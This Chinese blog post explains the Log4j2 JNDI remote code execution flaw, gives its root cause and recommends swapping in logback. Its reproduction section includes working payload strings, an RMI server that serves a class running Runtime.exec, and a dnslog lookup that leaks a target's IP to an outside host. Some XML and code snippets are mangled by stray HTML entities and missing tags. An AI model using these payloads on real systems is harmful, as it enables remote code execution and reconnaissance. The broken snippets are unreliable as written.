一、背景
近日,知名sl4j
日志规范的实现框架log4j2
被爆出巨大漏洞,可被黑客利用JNDI机制来执行非法命令、拉取远程代码执行,获取非法服务器权限等,不幸的是很多知名框架也用了log4j2
,我们熟知的就有Apache Struts2、Apache Solr、Apache Druid、Apache Flink…
相信很多互联网厂此刻正瑟瑟发抖,紧急修复。
国家网络应急中心也紧急发布了处理意见:关于Apache Log4j2存在远程代码执行漏洞的安全公告
罪魁祸首是Apache Log4j2、2.0 - 2.15.0-rc1这个两个版本,比如你的项目中有org.apache.logging.log4j:log4j-core:jar:2.14.1
,那就赶紧去修复吧。
导致该问题的原因是log4j2支持jndi的lookup
很多服务使用了log4j2
框架,并且打了API入参日志、三方交互日志等,正在被黑客与攻击者拿去搞事情,目前很多安全厂商都给出了替换版本、修改JVM启动参数、日志格式配置文件等的低成本解决办法,不过这里我还是觉得全面移除掉log4j2
(可换成logback
)比较保险,并且只要是基于sl4j
规范来开发的,替换成本也是相当的低!
二、复现方法
下面以springboot服务为例:
log4j2框架maven依赖:
<dependencies><dependency><groupId>org.springframework.bootgroupId><artifactId>spring-boot-starter-webartifactId><exclusions><exclusion><groupId>org.springframework.bootgroupId><artifactId>spring-boot-starter-loggingartifactId>exclusion>exclusions>dependency><dependency> <groupId>org.springframework.bootgroupId><artifactId>spring-boot-starter-log4j2artifactId>dependency>dependencies>
log4j2.xml配置&#xff1a;
<Configuration status&#61;"WARN"><Appenders><Console name&#61;"stdout" target&#61;"SYSTEM_OUT"><PatternLayout pattern&#61;"%date{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n"/>Console><File name&#61;"file" fileName&#61;"logs/test.log" append&#61;"false"><PatternLayout pattern&#61;"%date{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n"/>File>Appenders><Loggers><Root level&#61;"info"><AppenderRef ref&#61;"file"/><AppenderRef ref&#61;"stdout"/>Root>Loggers>Configuration>
application.yml配置&#xff1a;
logging:config: classpath:log4j2.xml
测试方法&#xff1a;
public class Main {private static final Logger logger &#61; LoggerFactory.getLogger(Main.class);public static void main(String[] args) {logger.info("username is:{}", "${java:os}");logger.info("${jndi:ldap://127.0.0.1:1389/#Exploit}");logger.error("${}", "jndi:ldap://127.0.0.1:1389/#Exploit");logger.error("{}", "${jndi:ldap://127.0.0.1:1389/#Exploit}");}
}
这里如果是调用的&#xff1a;jndi:rmi://xxx
&#xff0c;那么可以实现用户输入信息后&#xff0c;利用RMI远程调用来调用黑客远程的代码&#xff0c;到服务本机来执行&#xff08;黑客可以再编写一个api回调信息、也可以执行一些Runtime命令&#xff09;&#xff0c;这就非常危险了。
之前是在log4j2的2.15.0以前的版本&#xff0c;都有该漏洞官方收到反馈后&#xff0c;紧急发布了&#xff1a; 2.15.0-rc1版本&#xff0c;后面此版本被黑客成功绕过&#xff0c;故官方又重新发布了2.15.0-rc2版本。
下面我们演示一下黑客利用RMI的操作&#xff1a;
1、首先编写远程类&#xff1a;
public class RmiServer {public static void main(String[] args) throws Exception {Registry registry &#61; LocateRegistry.createRegistry(1111);Reference reference &#61; new Reference("com.test.EvilObj", "com.test.EvilObj", null);ReferenceWrapper wrapper &#61; new ReferenceWrapper(reference);registry.rebind("evil", wrapper);System.out.println("RMI服务已经启动....");}}
public class EvilObj {static {System.out.println("一段代码执行了...");}
}
2、通过log2j漏洞&#xff0c;远程调用&#xff08;相当于被攻击服务拉取黑客代码到本地执行&#xff09;
public class Main {private static final Logger logger &#61; LoggerFactory.getLogger(Main.class);public static void main(String[] args) {String username &#61; "${jndi:rmi://127.0.0.1:1111/evil}";logger.info("username is:{}", username);}
}
例如我们这里打开计算器&#xff1a;
public class EvilObj extends UnicastRef implements ObjectFactory {
public EvilObj() {System.out.println("构造方法被执行了");}&#64;Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {openCalc();return new EvilObj();}private void openCalc() {try {System.out.println("工厂方法已经执行");Runtime.getRuntime().exec("open /Applications/Calculator.app");} catch (IOException e) {e.printStackTrace();}}
}
本质原因&#xff1a;javax.naming.spi.NamingManager
类中getObjectFactoryFromReference
方法中clas.newInstance()
为罪魁祸首。
static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)throws IllegalAccessException,InstantiationException,MalformedURLException {Class<?> clas &#61; null;try {clas &#61; helper.loadClass(factoryName);} catch (ClassNotFoundException e) {}String codebase;if (clas &#61;&#61; null &&(codebase &#61; ref.getFactoryClassLocation()) !&#61; null) {try {clas &#61; helper.loadClass(factoryName, codebase);} catch (ClassNotFoundException e) {}}return (clas !&#61; null) ? (ObjectFactory) clas.newInstance() : null;}
利用dnslog&#xff0c;还可以获取IP
http://dnslog.cn/
例如&#xff1a;ibfx5p.dnslog.cn
1、黑客首先再dnslog获取一个临时地址
2、再注入&#xff1a;${jndi:ldap://ibfx5p.dnslog.cn}
题外话
新技术的固然有性能更好等特点&#xff0c;不过在使用的时候最好也还是等它稳定一段时间再用&#xff0c;springboot官方配置的实现框架是logback&#xff0c;目前还没有爆出什么大的漏洞。